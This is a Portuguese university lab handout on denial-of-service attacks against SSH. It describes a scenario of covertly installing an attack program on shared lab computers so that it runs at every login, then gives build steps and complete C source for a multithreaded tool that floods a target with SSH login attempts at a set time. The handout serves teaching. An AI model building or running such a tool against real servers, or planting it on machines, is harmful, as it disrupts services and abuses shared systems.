

“Atividade prática de Segurança de Dados”

Anderson de França Queiroz

Tiago de França Queiroz

Abril de 2012

*"If you don't stand for something,
you'll fall for anything"*
(Filme Sucker Punch)

Sumário

1 Descrição de um ataque

Um atacante deseja tronar indisponível o acesso por SSH do servidor de um conhecido. O modo que ele escolhe para fazer é utilizar um programa que ele desenvolveu para gerar requisições de conexão com o servidor ininterruptamente partindo de vários computadores diferentes, ou seja, um ataque de DDoS – *Distributed Denial-of-Service*.

A disponibilidade de serviço é muito importante para várias empresas, principalmente quando o produto que a empresa oferece é o serviço. Ter um serviço pode causar perdas como: uma compra não ser realizada(sites de e-commerce); clientes trocarem de empresa para uma cujos serviços não fiquem indisponíveis; perda de confiabilidade; entre outras coisas.

Um ataque simples que visa indisponibilizar serviço é o ataque de negação de serviço, DoS (*Denial-of-Service*), em resumo esse tipo de ataque realiza um número muito grande de requisições ao serviço em curto espaço de tempo, assim o servidor não consegue reponder a todos, o que gera indisponibilidade do sistema. Existe a variante distribuída do DoS, o DDoS (*Distributed Denial-of-Service*), que utiliza simultaneamente vários computadores para realizar ataques de DoS a um mesmo alvo.

No cenário descrito o atacante desenvolve um programa que chama o cliente padrão de SSH do sistema operacional e tenta logar no host alvo. O programa apenas solicita a conexão e utiliza uma senha qualquer, uma vez que o objetivo é apenas indisponibilizar o sistema e não invadi-lo. De posse do programa ele vai a um laboratório de informática de sua universidade e instala o programa em todos os computadores de modo que quando se faça o login o programa inicialize em background. Como é preciso apenas a senha de usuário para realizar essa operação e todos os alunos utilizam o mesmo usuário, sempre que alguém logar no computador o ataque de DoS iniciará.

2 *Roteiro de ataque de DDoS*

O ataque de DDoS (*Distributed Denial-of-Service*) que será estudado nesta aula objetiva indisponibilizar o serviço de SSH comumente utilizado para acesso remoto a computadores. bla bla bla...

2.1 Criando um programa de DoS

A negação de serviço consiste em muitas requisições em um curto intervalo de tempo, de modo que o servidor não consiga atender a todas. Então nesse experimento criaremos um programa em linguagem C que utiliza *mult-thread* para realizar inúmeras requisições SSH a um servidor.

1. Abra o editor preferência, sugere-se a utilização do VIM. Em um terminal execute `vim`;
2. Digite o código ??;
3. Edite as macros `NUM_THREADS`, `COMANDO`, `TEMPO` e `ESPERA`. Onde:
 - `NUM_THREADS`: é o número de threads que serão criadas, ou seja, o número de conexões simultâneas que serão realizadas pelo programa;
 - `COMANDO`: é o comando que será executado, neste experimento usaremos o `ssh`, então coloque um nome de usuário (de preferência um que exista na máquina alvo) e o IP ou domínio da máquina;
 - `TEMPO`: é a hora em que o ataque irá começar;
 - `ESPERA`: é o tempo que o programa irá esperar antes de ser fechado e encerrar as threads que estão realizando o DoS.
4. Salve com o nome `DoS.c` e saia do editor;
5. Compile, para isso execute no terminal `cc DoS.c -o DoS -lpthread`;

```

1  /*
2  * =====
3  *
4  *      Filename:  DDOS.c
5  *
6  *      Description:
7  *
8  *      Version:   1.0
9  *      Created:   07-05-2012 18:05:38
10 *      Revision:  none
11 *      Compiler:  gcc
12 *
13 *      Author:    Tiago de França Queiroz (Queiroz, T. F.), tiago.f.q(.AT,)gmail dot com
14 *      Company:   UFABC
15 *
16 * =====
17 */
18
19 #include <stdio.h>
20 #include <stdlib.h>
21 #include <time.h>
22 #include <pthread.h>
23 #include <unistd.h>
24 #include <string.h>
25
26 #define ESPERA 360
27 #define NUM_THREADS 15
28 #define COMANDO "ssh user@192.168.1.100"
29 #define TEMPO "Mon 2012-05-07 18:47:19 BRT"
30
31 void *comando(void *v)
32 {
33     while(42)
34     {
35         printf("Executando o comando: \"%s\"\n", COMANDO);
36         system(COMANDO);
37     }
38 }
39
40 int main(void)
41 {
42     int i, c = 1;
43     pthread_t thread;
44     time_t agora;
45     struct tm tempo;
46     char buffer[28];
47
48     while(c != 0)
49     {
50         /* Pega a hora atual */
51         agora = time(NULL);
52
53         /* Formata a hora para ddd yyyy-mm-dd hh:mm:ss zzz */
54         tempo = *localtime(&agora);
55         strftime(buffer, sizeof(buffer), "%a %Y-%m-%d %H:%M:%S %Z", &tempo);
56
57         c = strcmp(TEMPO, buffer);
58         /* Dorme por 250 milissegundos */
59         usleep(250000);
60     }
61
62     /* Cria NUM_THREADS threads, onde cada uma irá executar COMANDO */
63     for(i = 0; i < NUM_THREADS; i++)
64         pthread_create(&thread, NULL, &comando, NULL);
65
66     /* Evita que a thread principal termine antes das outras */
67     sleep(ESPERA);
68 }

```

Código 2.1.1: Código fonte em C para o DoS.